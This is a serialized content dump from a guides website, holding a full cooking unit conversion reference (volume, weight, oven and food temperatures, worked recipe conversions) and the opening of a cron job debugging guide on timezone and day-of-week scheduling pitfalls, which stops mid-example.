examples.",{"immutable":363},"\u002Fguides\u002Fcommon-regex-patterns",{"title":265915,"description":268296},"guides\u002Fcommon-regex-patterns","7rJJ2W7waHqoucjj0kjhOs_JAz-nVdlKA-zyI0WpOi4",{"id":268303,"title":268304,"body":268305,"date":257855,"description":269606,"extension":361,"meta":269607,"navigation":363,"path":269608,"readingTime":1717,"seo":269609,"stem":269610,"__hash__":269611},"guides\u002Fguides\u002Fcooking-unit-conversion.md","Cooking Unit Conversion: Cups, Tablespoons, and Grams",{"type":8,"value":268306,"toc":269566},[268307,268309,268312,268316,268320,268460,268464,268470,268474,268478,268481,268604,268608,268611,268676,268680,268684,268774,268778,268938,268942,268946,268948,268966,268970,269115,269119,269218,269222,269226,269232,269236,269242,269246,269252,269254,269258,269263,269280,269285,269302,269306,269311,269325,269330,269344,269348,269351,269357,269361,269365,269397,269401,269427,269431,269451,269455,269487,269491,269495,269551,269557,269559],[11,268308,2776],{"id":256641},[16,268310,268311],{},"Cooking should be precise, but recipes often use different measurement systems. An American recipe calls for \"2 cups of flour,\" while a European recipe specifies \"250g.\" This guide provides comprehensive conversion tables and explains the critical difference between measuring by volume (cups, tablespoons) and by weight (grams, ounces).",[11,268313,268315],{"id":268314},"volume-measurements-us-standard","Volume Measurements: US Standard",[33,268317,268319],{"id":268318},"basic-volume-units","Basic Volume Units",[193,268321,268322,268337],{},[196,268323,268324],{},[199,268325,268326,268328,268331,268334],{},[202,268327,17957],{},[202,268329,268330],{},"Abbreviation",[202,268332,268333],{},"Milliliters (ml)",[202,268335,268336],{},"Fluid Ounces (fl oz)",[211,268338,268339,268353,268367,268380,268393,268406,268419,268432,268446],{},[199,268340,268341,268344,268347,268350],{},[216,268342,268343],{},"1 gallon",[216,268345,268346],{},"gal",[216,268348,268349],{},"3785 ml",[216,268351,268352],{},"128 fl oz",[199,268354,268355,268358,268361,268364],{},[216,268356,268357],{},"1 quart",[216,268359,268360],{},"qt",[216,268362,268363],{},"946 ml",[216,268365,268366],{},"32 fl oz",[199,268368,268369,268372,268374,268377],{},[216,268370,268371],{},"1 pint",[216,268373,149778],{},[216,268375,268376],{},"473 ml",[216,268378,268379],{},"16 fl oz",[199,268381,268382,268385,268387,268390],{},[216,268383,268384],{},"1 cup",[216,268386,21993],{},[216,268388,268389],{},"237 ml",[216,268391,268392],{},"8 fl oz",[199,268394,268395,268398,268400,268403],{},[216,268396,268397],{},"1\u002F2 cup",[216,268399],{},[216,268401,268402],{},"118 ml",[216,268404,268405],{},"4 fl oz",[199,268407,268408,268411,268413,268416],{},[216,268409,268410],{},"1\u002F3 cup",[216,268412],{},[216,268414,268415],{},"79 ml",[216,268417,268418],{},"2.7 fl oz",[199,268420,268421,268424,268426,268429],{},[216,268422,268423],{},"1\u002F4 cup",[216,268425],{},[216,268427,268428],{},"59 ml",[216,268430,268431],{},"2 fl oz",[199,268433,268434,268437,268440,268443],{},[216,268435,268436],{},"1 tablespoon",[216,268438,268439],{},"tbsp (T)",[216,268441,268442],{},"15 ml",[216,268444,268445],{},"0.5 fl oz",[199,268447,268448,268451,268454,268457],{},[216,268449,268450],{},"1 teaspoon",[216,268452,268453],{},"tsp (t)",[216,268455,268456],{},"5 ml",[216,268458,268459],{},"0.17 fl oz",[33,268461,268463],{"id":268462},"teaspoons-tablespoons-and-cups-relationship","Teaspoons, Tablespoons, and Cups Relationship",[135,268465,268468],{"className":268466,"code":268467,"language":140},[138],"3 teaspoons = 1 tablespoon\n2 tablespoons = 1 fluid ounce\n4 tablespoons = 1\u002F4 cup\n8 tablespoons = 1\u002F2 cup\n16 tablespoons = 1 cup\n",[143,268469,268467],{"__ignoreMap":141},[11,268471,268473],{"id":268472},"the-critical-difference-dry-vs-liquid-ingredients","The Critical Difference: Dry vs Liquid Ingredients",[33,268475,268477],{"id":268476},"why-weight-matters-for-dry-ingredients","Why Weight Matters for Dry Ingredients",[16,268479,268480],{},"Measuring dry ingredients by volume (cups) is imprecise because the density varies based on how packed the ingredient is:",[193,268482,268483,268498],{},[196,268484,268485],{},[199,268486,268487,268490,268493,268496],{},[202,268488,268489],{},"Ingredient",[202,268491,268492],{},"1 Cup (volume)",[202,268494,268495],{},"Weight (grams)",[202,268497,2683],{},[211,268499,268500,268513,268526,268539,268552,268565,268578,268591],{},[199,268501,268502,268505,268507,268510],{},[216,268503,268504],{},"All-purpose flour",[216,268506,268384],{},[216,268508,268509],{},"120-125g",[216,268511,268512],{},"Scooped: ~140g, Spooned: ~120g",[199,268514,268515,268518,268520,268523],{},[216,268516,268517],{},"Bread flour",[216,268519,268384],{},[216,268521,268522],{},"130g",[216,268524,268525],{},"Higher protein content",[199,268527,268528,268531,268533,268536],{},[216,268529,268530],{},"Cake flour",[216,268532,268384],{},[216,268534,268535],{},"110g",[216,268537,268538],{},"Finer texture",[199,268540,268541,268544,268546,268549],{},[216,268542,268543],{},"Granulated sugar",[216,268545,268384],{},[216,268547,268548],{},"200g",[216,268550,268551],{},"Relatively consistent",[199,268553,268554,268557,268559,268562],{},[216,268555,268556],{},"Brown sugar (packed)",[216,268558,268384],{},[216,268560,268561],{},"220g",[216,268563,268564],{},"Pack firmly",[199,268566,268567,268570,268572,268575],{},[216,268568,268569],{},"Powdered sugar",[216,268571,268384],{},[216,268573,268574],{},"120g",[216,268576,268577],{},"Sifted: ~100g",[199,268579,268580,268583,268585,268588],{},[216,268581,268582],{},"Butter",[216,268584,268384],{},[216,268586,268587],{},"227g",[216,268589,268590],{},"2 sticks = 1 cup",[199,268592,268593,268596,268598,268601],{},[216,268594,268595],{},"Chocolate chips",[216,268597,268384],{},[216,268599,268600],{},"170g",[216,268602,268603],{},"Varies by chip size",[33,268605,268607],{"id":268606},"liquid-ingredients-are-more-consistent","Liquid Ingredients Are More Consistent",[16,268609,268610],{},"Liquids have consistent density (mostly water-based), so volume measurements are more reliable:",[193,268612,268613,268624],{},[196,268614,268615],{},[199,268616,268617,268620,268622],{},[202,268618,268619],{},"Liquid Ingredient",[202,268621,268492],{},[202,268623,268495],{},[211,268625,268626,268636,268646,268656,268666],{},[199,268627,268628,268631,268633],{},[216,268629,268630],{},"Water",[216,268632,268384],{},[216,268634,268635],{},"237g",[199,268637,268638,268641,268643],{},[216,268639,268640],{},"Milk",[216,268642,268384],{},[216,268644,268645],{},"245g",[199,268647,268648,268651,268653],{},[216,268649,268650],{},"Vegetable oil",[216,268652,268384],{},[216,268654,268655],{},"218g",[199,268657,268658,268661,268663],{},[216,268659,268660],{},"Honey",[216,268662,268384],{},[216,268664,268665],{},"336g",[199,268667,268668,268671,268673],{},[216,268669,268670],{},"Maple syrup",[216,268672,268384],{},[216,268674,268675],{},"322g",[11,268677,268679],{"id":268678},"weight-conversions-grams-and-ounces","Weight Conversions: Grams and Ounces",[33,268681,268683],{"id":268682},"metric-to-imperial-weight","Metric to Imperial Weight",[193,268685,268686,268699],{},[196,268687,268688],{},[199,268689,268690,268693,268696],{},[202,268691,268692],{},"Grams (g)",[202,268694,268695],{},"Ounces (oz)",[202,268697,268698],{},"Pounds (lb)",[211,268700,268701,268711,268721,268731,268741,268752,268763],{},[199,268702,268703,268706,268709],{},[216,268704,268705],{},"10g",[216,268707,268708],{},"0.35 oz",[216,268710,9412],{},[199,268712,268713,268716,268719],{},[216,268714,268715],{},"25g",[216,268717,268718],{},"0.88 oz",[216,268720,9412],{},[199,268722,268723,268726,268729],{},[216,268724,268725],{},"50g",[216,268727,268728],{},"1.76 oz",[216,268730,9412],{},[199,268732,268733,268736,268739],{},[216,268734,268735],{},"100g",[216,268737,268738],{},"3.53 oz",[216,268740,9412],{},[199,268742,268743,268746,268749],{},[216,268744,268745],{},"250g",[216,268747,268748],{},"8.82 oz",[216,268750,268751],{},"0.55 lb",[199,268753,268754,268757,268760],{},[216,268755,268756],{},"500g",[216,268758,268759],{},"17.64 oz",[216,268761,268762],{},"1.10 lb",[199,268764,268765,268768,268771],{},[216,268766,268767],{},"1000g (1kg)",[216,268769,268770],{},"35.27 oz",[216,268772,268773],{},"2.20 lb",[33,268775,268777],{"id":268776},"common-ingredient-weight-conversions","Common Ingredient Weight Conversions",[193,268779,268780,268794],{},[196,268781,268782],{},[199,268783,268784,268786,268788,268790,268792],{},[202,268785,268489],{},[202,268787,268384],{},[202,268789,268397],{},[202,268791,268410],{},[202,268793,268423],{},[211,268795,268796,268812,268828,268841,268855,268867,268882,268898,268911,268925],{},[199,268797,268798,268800,268803,268806,268809],{},[216,268799,268504],{},[216,268801,268802],{},"125g",[216,268804,268805],{},"63g",[216,268807,268808],{},"42g",[216,268810,268811],{},"31g",[199,268813,268814,268817,268819,268822,268825],{},[216,268815,268816],{},"Whole wheat flour",[216,268818,268574],{},[216,268820,268821],{},"60g",[216,268823,268824],{},"40g",[216,268826,268827],{},"30g",[199,268829,268830,268832,268834,268836,268839],{},[216,268831,268543],{},[216,268833,268548],{},[216,268835,268735],{},[216,268837,268838],{},"67g",[216,268840,268725],{},[199,268842,268843,268845,268847,268849,268852],{},[216,268844,268556],{},[216,268846,268561],{},[216,268848,268535],{},[216,268850,268851],{},"73g",[216,268853,268854],{},"55g",[199,268856,268857,268859,268861,268863,268865],{},[216,268858,268569],{},[216,268860,268574],{},[216,268862,268821],{},[216,268864,268824],{},[216,268866,268827],{},[199,268868,268869,268871,268873,268876,268879],{},[216,268870,268582],{},[216,268872,268587],{},[216,268874,268875],{},"113g",[216,268877,268878],{},"76g",[216,268880,268881],{},"57g",[199,268883,268884,268887,268890,268893,268895],{},[216,268885,268886],{},"Rolled oats",[216,268888,268889],{},"90g",[216,268891,268892],{},"45g",[216,268894,268827],{},[216,268896,268897],{},"22g",[199,268899,268900,268903,268905,268907,268909],{},[216,268901,268902],{},"Chopped nuts",[216,268904,268574],{},[216,268906,268821],{},[216,268908,268824],{},[216,268910,268827],{},[199,268912,268913,268916,268918,268920,268923],{},[216,268914,268915],{},"Grated cheese",[216,268917,268735],{},[216,268919,268725],{},[216,268921,268922],{},"33g",[216,268924,268715],{},[199,268926,268927,268930,268932,268934,268936],{},[216,268928,268929],{},"Cocoa powder",[216,268931,268735],{},[216,268933,268725],{},[216,268935,268922],{},[216,268937,268715],{},[11,268939,268941],{"id":268940},"temperature-conversions","Temperature Conversions",[33,268943,268945],{"id":268944},"fahrenheit-to-celsius-and-vice-versa","Fahrenheit to Celsius (and Vice Versa)",[16,268947,251368],{},[41,268949,268950,268958],{},[44,268951,268952,1663,268955],{},[47,268953,268954],{},"°C to °F",[143,268956,268957],{},"(°C × 9\u002F5) + 32 = °F",[44,268959,268960,1663,268963],{},[47,268961,268962],{},"°F to °C",[143,268964,268965],{},"(°F - 32) × 5\u002F9 = °C",[33,268967,268969],{"id":268968},"common-oven-temperatures","Common Oven Temperatures",[193,268971,268972,268987],{},[196,268973,268974],{},[199,268975,268976,268979,268982,268985],{},[202,268977,268978],{},"Fahrenheit (°F)",[202,268980,268981],{},"Celsius (°C)",[202,268983,268984],{},"Gas Mark (UK)",[202,268986,207],{},[211,268988,268989,269003,269015,269027,269039,269051,269063,269076,269089,269102],{},[199,268990,268991,268994,268997,269000],{},[216,268992,268993],{},"250°F",[216,268995,268996],{},"120°C",[216,268998,268999],{},"1\u002F2",[216,269001,269002],{},"Very cool\u002Flow",[199,269004,269005,269008,269011,269013],{},[216,269006,269007],{},"275°F",[216,269009,269010],{},"135°C",[216,269012,3585],{},[216,269014,91332],{},[199,269016,269017,269020,269023,269025],{},[216,269018,269019],{},"300°F",[216,269021,269022],{},"150°C",[216,269024,10099],{},[216,269026,91332],{},[199,269028,269029,269032,269035,269037],{},[216,269030,269031],{},"325°F",[216,269033,269034],{},"165°C",[216,269036,17821],{},[216,269038,91319],{},[199,269040,269041,269044,269047,269049],{},[216,269042,269043],{},"350°F",[216,269045,269046],{},"175°C",[216,269048,12546],{},[216,269050,15457],{},[199,269052,269053,269056,269059,269061],{},[216,269054,269055],{},"375°F",[216,269057,269058],{},"190°C",[216,269060,13431],{},[216,269062,15457],{},[199,269064,269065,269068,269071,269073],{},[216,269066,269067],{},"400°F",[216,269069,269070],{},"200°C",[216,269072,44593],{},[216,269074,269075],{},"Moderately hot",[199,269077,269078,269081,269084,269086],{},[216,269079,269080],{},"425°F",[216,269082,269083],{},"220°C",[216,269085,735],{},[216,269087,269088],{},"Hot",[199,269090,269091,269094,269097,269099],{},[216,269092,269093],{},"450°F",[216,269095,269096],{},"230°C",[216,269098,10078],{},[216,269100,269101],{},"Very hot",[199,269103,269104,269107,269110,269112],{},[216,269105,269106],{},"475°F",[216,269108,269109],{},"245°C",[216,269111,114357],{},[216,269113,269114],{},"Extremely hot",[33,269116,269118],{"id":269117},"common-cooking-temperatures","Common Cooking Temperatures",[193,269120,269121,269134],{},[196,269122,269123],{},[199,269124,269125,269128,269131],{},[202,269126,269127],{},"Food",[202,269129,269130],{},"Internal Temp (°F)",[202,269132,269133],{},"Internal Temp (°C)",[211,269135,269136,269147,269158,269169,269180,269191,269200,269209],{},[199,269137,269138,269141,269144],{},[216,269139,269140],{},"Beef (rare)",[216,269142,269143],{},"125°F",[216,269145,269146],{},"52°C",[199,269148,269149,269152,269155],{},[216,269150,269151],{},"Beef (medium-rare)",[216,269153,269154],{},"135°F",[216,269156,269157],{},"57°C",[199,269159,269160,269163,269166],{},[216,269161,269162],{},"Beef (medium)",[216,269164,269165],{},"145°F",[216,269167,269168],{},"63°C",[199,269170,269171,269174,269177],{},[216,269172,269173],{},"Beef (well-done)",[216,269175,269176],{},"160°F",[216,269178,269179],{},"71°C",[199,269181,269182,269185,269188],{},[216,269183,269184],{},"Chicken (safe)",[216,269186,269187],{},"165°F",[216,269189,269190],{},"74°C",[199,269192,269193,269196,269198],{},[216,269194,269195],{},"Pork (safe)",[216,269197,269165],{},[216,269199,269168],{},[199,269201,269202,269205,269207],{},[216,269203,269204],{},"Fish (opaque)",[216,269206,269165],{},[216,269208,269168],{},[199,269210,269211,269214,269216],{},[216,269212,269213],{},"Egg dishes",[216,269215,269176],{},[216,269217,269179],{},[11,269219,269221],{"id":269220},"quick-conversion-cheat-sheet","Quick Conversion Cheat Sheet",[33,269223,269225],{"id":269224},"volume-conversions-memorize-these","Volume Conversions (Memorize These)",[135,269227,269230],{"className":269228,"code":269229,"language":140},[138],"1 cup = 16 tablespoons = 48 teaspoons = 237 ml\n1\u002F2 cup = 8 tablespoons = 24 teaspoons = 118 ml\n1\u002F3 cup = 5 tablespoons + 1 tsp = 79 ml\n1\u002F4 cup = 4 tablespoons = 12 teaspoons = 59 ml\n1 tablespoon = 3 teaspoons = 15 ml\n",[143,269231,269229],{"__ignoreMap":141},[33,269233,269235],{"id":269234},"weight-conversions-memorize-these","Weight Conversions (Memorize These)",[135,269237,269240],{"className":269238,"code":269239,"language":140},[138],"1 ounce = 28.35 grams\n1 pound = 16 ounces = 454 grams\n100 grams = 3.5 ounces\n500 grams = 1.1 pounds\n1 kg = 2.2 pounds\n",[143,269241,269239],{"__ignoreMap":141},[33,269243,269245],{"id":269244},"flour-conversion-most-common","Flour Conversion (Most Common)",[135,269247,269250],{"className":269248,"code":269249,"language":140},[138],"1 cup all-purpose flour = 125 grams\n125g flour = 1 cup = 16 tbsp\nIf recipe says 250g flour → use 2 cups\nIf recipe says 2 cups flour → use 250g (more accurate)\n",[143,269251,269249],{"__ignoreMap":141},[11,269253,65161],{"id":65160},[33,269255,269257],{"id":269256},"example-1-converting-a-us-recipe-to-metric","Example 1: Converting a US Recipe to Metric",[16,269259,269260],{},[47,269261,269262],{},"Original (US):",[41,269264,269265,269268,269271,269274,269277],{},[44,269266,269267],{},"2 cups all-purpose flour",[44,269269,269270],{},"1 cup granulated sugar",[44,269272,269273],{},"1\u002F2 cup butter",[44,269275,269276],{},"2 large eggs",[44,269278,269279],{},"1 tsp vanilla extract",[16,269281,269282],{},[47,269283,269284],{},"Converted (Metric):",[41,269286,269287,269290,269293,269296,269299],{},[44,269288,269289],{},"250g all-purpose flour",[44,269291,269292],{},"200g granulated sugar",[44,269294,269295],{},"113g butter",[44,269297,269298],{},"2 large eggs (~100g)",[44,269300,269301],{},"5ml vanilla extract",[33,269303,269305],{"id":269304},"example-2-converting-a-metric-recipe-to-us","Example 2: Converting a Metric Recipe to US",[16,269307,269308],{},[47,269309,269310],{},"Original (Metric):",[41,269312,269313,269316,269319,269322],{},[44,269314,269315],{},"300g bread flour",[44,269317,269318],{},"150g brown sugar",[44,269320,269321],{},"240ml milk",[44,269323,269324],{},"60ml vegetable oil",[16,269326,269327],{},[47,269328,269329],{},"Converted (US):",[41,269331,269332,269335,269338,269341],{},[44,269333,269334],{},"2.4 cups bread flour (or 2 1\u002F3 cups)",[44,269336,269337],{},"3\u002F4 cup brown sugar",[44,269339,269340],{},"1 cup milk",[44,269342,269343],{},"1\u002F4 cup vegetable oil",[33,269345,269347],{"id":269346},"example-3-scaling-a-recipe","Example 3: Scaling a Recipe",[16,269349,269350],{},"To double a recipe that calls for 1.5 cups flour:",[135,269352,269355],{"className":269353,"code":269354,"language":140},[138],"1.5 cups × 2 = 3 cups\n3 cups × 125g\u002Fcup = 375g\n",[143,269356,269354],{"__ignoreMap":141},[11,269358,269360],{"id":269359},"tips-for-accurate-measuring","Tips for Accurate Measuring",[33,269362,269364],{"id":269363},"for-dry-ingredients-weight-is-best","For Dry Ingredients (Weight is Best)",[77,269366,269367,269373,269379,269385,269391],{},[44,269368,269369,269372],{},[47,269370,269371],{},"Use a digital scale"," for accuracy (grams are more precise than cups)",[44,269374,269375,269378],{},[47,269376,269377],{},"Spoon and level"," flour: spoon into measuring cup, level with knife",[44,269380,269381,269384],{},[47,269382,269383],{},"Don't scoop"," directly with measuring cup (compacts flour, adds ~15%)",[44,269386,269387,269390],{},[47,269388,269389],{},"Pack brown sugar"," firmly into measuring cup",[44,269392,269393,269396],{},[47,269394,269395],{},"Sift powdered sugar"," before measuring if recipe specifies \"sifted\"",[33,269398,269400],{"id":269399},"for-liquid-ingredients","For Liquid Ingredients",[77,269402,269403,269409,269415,269421],{},[44,269404,269405,269408],{},[47,269406,269407],{},"Use clear liquid measuring cups"," with spout",[44,269410,269411,269414],{},[47,269412,269413],{},"Check at eye level"," on flat surface",[44,269416,269417,269420],{},[47,269418,269419],{},"Use tablespoons\u002Fteaspoons"," for small amounts (\u003C 1\u002F4 cup)",[44,269422,269423,269426],{},[47,269424,269425],{},"Note: 1 fluid ounce ≠ 1 ounce by weight"," (except for water, roughly)",[33,269428,269430],{"id":269429},"for-butter","For Butter",[77,269432,269433,269439,269445],{},[44,269434,269435,269438],{},[47,269436,269437],{},"US sticks",": 1 stick = 1\u002F2 cup = 8 tbsp = 113g",[44,269440,269441,269444],{},[47,269442,269443],{},"European blocks",": Usually marked in grams",[44,269446,269447,269450],{},[47,269448,269449],{},"Softened vs melted",": Recipes assume softened unless specified",[11,269452,269454],{"id":269453},"common-conversion-mistakes-to-avoid","Common Conversion Mistakes to Avoid",[77,269456,269457,269463,269469,269475,269481],{},[44,269458,269459,269462],{},[47,269460,269461],{},"Assuming 1 cup = 250ml"," (it's 237ml; 250ml is a metric cup used in Australia\u002FNew Zealand)",[44,269464,269465,269468],{},[47,269466,269467],{},"Using the same conversion for all flours"," (bread flour is denser than cake flour)",[44,269470,269471,269474],{},[47,269472,269473],{},"Measuring brown sugar like flour"," (brown sugar must be packed; flour should be light)",[44,269476,269477,269480],{},[47,269478,269479],{},"Confusing fluid ounces with weight ounces"," (8 fl oz water ≈ 8 oz by weight, but 8 fl oz honey ≈ 12 oz by weight)",[44,269482,269483,269486],{},[47,269484,269485],{},"Ignoring room temperature"," (butter density changes with temperature)",[11,269488,269490],{"id":269489},"regional-differences","Regional Differences",[33,269492,269494],{"id":269493},"us-vs-uk-vs-metric-cups","US vs UK vs Metric Cups",[193,269496,269497,269512],{},[196,269498,269499],{},[199,269500,269501,269503,269506,269509],{},[202,269502,4657],{},[202,269504,269505],{},"Cup Size",[202,269507,269508],{},"Tablespoon",[202,269510,269511],{},"Teaspoon",[211,269513,269514,269525,269538],{},[199,269515,269516,269519,269521,269523],{},[216,269517,269518],{},"US",[216,269520,268389],{},[216,269522,268442],{},[216,269524,268456],{},[199,269526,269527,269530,269533,269536],{},[216,269528,269529],{},"UK",[216,269531,269532],{},"284 ml",[216,269534,269535],{},"15 ml (sometimes 17.7 ml)",[216,269537,268456],{},[199,269539,269540,269543,269546,269549],{},[216,269541,269542],{},"Metric (AU\u002FNZ)",[216,269544,269545],{},"250 ml",[216,269547,269548],{},"20 ml",[216,269550,268456],{},[16,269552,269553,269556],{},[47,269554,269555],{},"Tip",": If using a recipe from another region, check which cup size they assume!",[11,269558,257800],{"id":257799},[41,269560,269561],{},[44,269562,269563,269565],{},[98,269564,664],{"href":663}," - Convert between various units including cooking measurements",{"title":141,"searchDepth":337,"depth":337,"links":269567},[269568,269569,269573,269577,269581,269586,269591,269596,269601,269602,269605],{"id":256641,"depth":337,"text":2776},{"id":268314,"depth":337,"text":268315,"children":269570},[269571,269572],{"id":268318,"depth":343,"text":268319},{"id":268462,"depth":343,"text":268463},{"id":268472,"depth":337,"text":268473,"children":269574},[269575,269576],{"id":268476,"depth":343,"text":268477},{"id":268606,"depth":343,"text":268607},{"id":268678,"depth":337,"text":268679,"children":269578},[269579,269580],{"id":268682,"depth":343,"text":268683},{"id":268776,"depth":343,"text":268777},{"id":268940,"depth":337,"text":268941,"children":269582},[269583,269584,269585],{"id":268944,"depth":343,"text":268945},{"id":268968,"depth":343,"text":268969},{"id":269117,"depth":343,"text":269118},{"id":269220,"depth":337,"text":269221,"children":269587},[269588,269589,269590],{"id":269224,"depth":343,"text":269225},{"id":269234,"depth":343,"text":269235},{"id":269244,"depth":343,"text":269245},{"id":65160,"depth":337,"text":65161,"children":269592},[269593,269594,269595],{"id":269256,"depth":343,"text":269257},{"id":269304,"depth":343,"text":269305},{"id":269346,"depth":343,"text":269347},{"id":269359,"depth":337,"text":269360,"children":269597},[269598,269599,269600],{"id":269363,"depth":343,"text":269364},{"id":269399,"depth":343,"text":269400},{"id":269429,"depth":343,"text":269430},{"id":269453,"depth":337,"text":269454},{"id":269489,"depth":337,"text":269490,"children":269603},[269604],{"id":269493,"depth":343,"text":269494},{"id":257799,"depth":337,"text":257800},"Master cooking unit conversions. Complete reference for cups, tablespoons, teaspoons to milliliters and grams. Dry vs liquid ingredients, temperature conversions.",{"immutable":363},"\u002Fguides\u002Fcooking-unit-conversion",{"title":268304,"description":269606},"guides\u002Fcooking-unit-conversion","cahCfZiE5XRTDBgA4L_WbWsqXpuW7Qf6xMdJq29AnWs",{"id":269613,"title":269614,"body":269615,"date":257855,"description":270987,"extension":361,"meta":270988,"navigation":363,"path":270989,"readingTime":1747,"seo":270990,"stem":270991,"__hash__":270992},"guides\u002Fguides\u002Fcron-debugging-tips.md","Cron Debugging: 7 Common Issues and How to Fix Them",{"type":8,"value":269616,"toc":270974},[269617,269619,269622,269625,269629,269632,269637,269663,269667,269739,269744,269761,269765,269772,269777,269807,269812,269898,269902,269905,269910,269937,269942,270001,270006,270049,270058,270083,270087,270090,270095,270120,270124,270234,270238,270243,270248,270282,270287,270324,270329,270352,270357,270384,270388,270394,270399,270446,270451,270505,270510,270565,270569,270572,270577,270588,270592,270712,270716,270719,270896,270900,270962,270964,270971],[11,269618,2776],{"id":256641},[16,269620,269621],{},"Cron jobs are the backbone of automated tasks in Unix-like systems, but they're notoriously difficult to debug when things go wrong. The silent nature of cron—running in the background without user interaction—means issues often go unnoticed until something breaks spectacularly.",[16,269623,269624],{},"This guide covers the seven most common cron debugging scenarios, complete with real-world examples and proven fixes.",[11,269626,269628],{"id":269627},"_1-timezone-mismatch-issues","1. Timezone Mismatch Issues",[16,269630,269631],{},"The Problem: Your cron job runs at the wrong time because the system timezone differs from your expectation.",[16,269633,269634],{},[47,269635,269636],{},"Wrong approach:",[135,269638,269640],{"className":6951,"code":269639,"language":6953,"meta":141,"style":141},"# You think this runs at 9 AM EST, but server is in UTC\n0 9 * * * \u002Fhome\u002Fuser\u002Fbackup-script.sh\n",[143,269641,269642,269647],{"__ignoreMap":141},[1560,269643,269644],{"class":1562,"line":1563},[1560,269645,269646],{"class":1649},"# You think this runs at 9 AM EST, but server is in UTC\n",[1560,269648,269649,269651,269654,269656,269658,269660],{"class":1562,"line":337},[1560,269650,5285],{"class":1566},[1560,269652,269653],{"class":1576}," 9",[1560,269655,8064],{"class":1576},[1560,269657,8064],{"class":1576},[1560,269659,8064],{"class":1576},[1560,269661,269662],{"class":5634}," \u002Fhome\u002Fuser\u002Fbackup-script.sh\n",[16,269664,269665],{},[47,269666,83822],{},[135,269668,269670],{"className":6951,"code":269669,"language":6953,"meta":141,"style":141},"# Check system timezone\ntimedatectl | grep \"Time zone\"\n\n# Check cron's timezone interpretation\ncat \u002Fetc\u002Ftimezone\n\n# If needed, set TZ variable in crontab\nTZ=America\u002FNew_York\n0 9 * * * \u002Fhome\u002Fuser\u002Fbackup-script.sh\n",[143,269671,269672,269677,269690,269694,269699,269706,269710,269715,269725],{"__ignoreMap":141},[1560,269673,269674],{"class":1562,"line":1563},[1560,269675,269676],{"class":1649},"# Check system timezone\n",[1560,269678,269679,269682,269684,269687],{"class":1562,"line":337},[1560,269680,269681],{"class":1566},"timedatectl",[1560,269683,17408],{"class":1669},[1560,269685,269686],{"class":1566}," grep",[1560,269688,269689],{"class":5634}," \"Time zone\"\n",[1560,269691,269692],{"class":1562,"line":343},[1560,269693,1702],{"emptyLinePlaceholder":363},[1560,269695,269696],{"class":1562,"line":365},[1560,269697,269698],{"class":1649},"# Check cron's timezone interpretation\n",[1560,269700,269701,269703],{"class":1562,"line":889},[1560,269702,8997],{"class":1566},[1560,269704,269705],{"class":5634}," \u002Fetc\u002Ftimezone\n",[1560,269707,269708],{"class":1562,"line":1710},[1560,269709,1702],{"emptyLinePlaceholder":363},[1560,269711,269712],{"class":1562,"line":1717},[1560,269713,269714],{"class":1649},"# If needed, set TZ variable in crontab\n",[1560,269716,269717,269720,269722],{"class":1562,"line":1747},[1560,269718,269719],{"class":1570},"TZ",[1560,269721,7297],{"class":1669},[1560,269723,269724],{"class":5634},"America\u002FNew_York\n",[1560,269726,269727,269729,269731,269733,269735,269737],{"class":1562,"line":2507},[1560,269728,5285],{"class":1566},[1560,269730,269653],{"class":1576},[1560,269732,8064],{"class":1576},[1560,269734,8064],{"class":1576},[1560,269736,8064],{"class":1576},[1560,269738,269662],{"class":5634},[16,269740,269741],{},[47,269742,269743],{},"Debugging steps:",[77,269745,269746,269752,269758],{},[44,269747,59390,269748,269751],{},[143,269749,269750],{},"TZ=UTC date"," to your cron job temporarily to log what time cron thinks it is",[44,269753,269754,269755,269757],{},"Compare with ",[143,269756,88150],{}," command output in your terminal",[44,269759,269760],{},"Remember: cron doesn't read your shell's TZ environment variable",[11,269762,269764],{"id":269763},"_2-day-of-month-day-of-week-logic-confusion","2. Day-of-Month + Day-of-Week Logic Confusion",[16,269766,269767,269768,269771],{},"The Problem: The ",[143,269769,269770],{},"man 5 crontab"," page states these fields have OR logic, not AND—a common source of confusion.",[16,269773,269774],{},[47,269775,269776],{},"The misconception:",[135,269778,269780],{"className":6951,"code":269779,"language":6953,"meta":141,"style":141},"# Many think this runs \"on the 15th AND on Mondays\"\n# Actually runs \"on the 15th OR on Mondays\"\n0 0 15 * 1 \u002Fhome\u002Fuser\u002Fscript.sh\n",[143,269781,269782,269787,269792],{"__ignoreMap":141},[1560,269783,269784],{"class":1562,"line":1563},[1560,269785,269786],{"class":1649},"# Many think this runs \"on the 15th AND on Mondays\"\n",[1560,269788,269789],{"class":1562,"line":337},[1560,269790,269791],{"class":1649},"# Actually runs \"on the 15th OR on Mondays\"\n",[1560,269793,269794,269796,269798,269800,269802,269804],{"class":1562,"line":343},[1560,269795,5285],{"class":1566},[1560,269797,13541],{"class":1576},[1560,269799,140816],{"class":1576},[1560,269801,8064],{"class":1576},[1560,269803,18868],{"class":1576},[1560,269805,269806],{"class":5634}," \u002Fhome\u002Fuser\u002Fscript.sh\n",[16,269808,269809],{},[47,269810,269811],{},"The fix for AND logic:",[135,269813,269815],{"className":6951,"code":269814,"language":6953,"meta":141,"style":141},"# Use a conditional check inside the script\n0 0 * * 1 \u002Fhome\u002Fuser\u002Fscript.sh  # Runs every Monday\n\n# Then inside script.sh:\n#!\u002Fbin\u002Fbash\nif [ \"$(date +\\%d)\" -eq 15 ]; then\n    # Actually do the work\n    echo \"Running because it's the 15th AND a Monday\"\nfi\n",[143,269816,269817,269822,269840,269844,269849,269853,269881,269886,269894],{"__ignoreMap":141},[1560,269818,269819],{"class":1562,"line":1563},[1560,269820,269821],{"class":1649},"# Use a conditional check inside the script\n",[1560,269823,269824,269826,269828,269830,269832,269834,269837],{"class":1562,"line":337},[1560,269825,5285],{"class":1566},[1560,269827,13541],{"class":1576},[1560,269829,8064],{"class":1576},[1560,269831,8064],{"class":1576},[1560,269833,18868],{"class":1576},[1560,269835,269836],{"class":5634}," \u002Fhome\u002Fuser\u002Fscript.sh",[1560,269838,269839],{"class":1649},"  # Runs every Monday\n",[1560,269841,269842],{"class":1562,"line":343},[1560,269843,1702],{"emptyLinePlaceholder":363},[1560,269845,269846],{"class":1562,"line":365},[1560,269847,269848],{"class":1649},"# Then inside 